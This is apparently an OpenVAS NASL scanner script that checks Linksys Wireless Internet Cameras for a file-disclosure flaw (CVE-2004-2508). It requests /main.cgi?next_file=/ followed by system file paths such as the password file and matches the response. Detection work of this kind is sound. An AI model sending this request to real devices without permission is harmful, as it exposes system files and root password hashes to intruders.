Linksys Wireless Internet Camera File Disclosure

# SPDX-FileCopyrightText: 2004 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.13636");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2004-2508");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/10533");
  script_name("Linksys Wireless Internet Camera File Disclosure");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2004 Noam Rathaus");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"The Linksys Wireless Internet Camera contains a CGI that allows remote
  attackers to disclosue sensitive files stored on the server.");

  script_tag(name:"impact", value:"An attacker may use this CGI to disclosue the password file and from it
  the password used by the root use (the MD5 value).");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:80);

files = traversal_files("linux");

foreach pattern(keys(files)) {

  file = files[pattern];

  url = "/main.cgi?next_file=/" + file;
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req);
  if(isnull(res)) exit(0);

  if(egrep(pattern:pattern, string:res)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);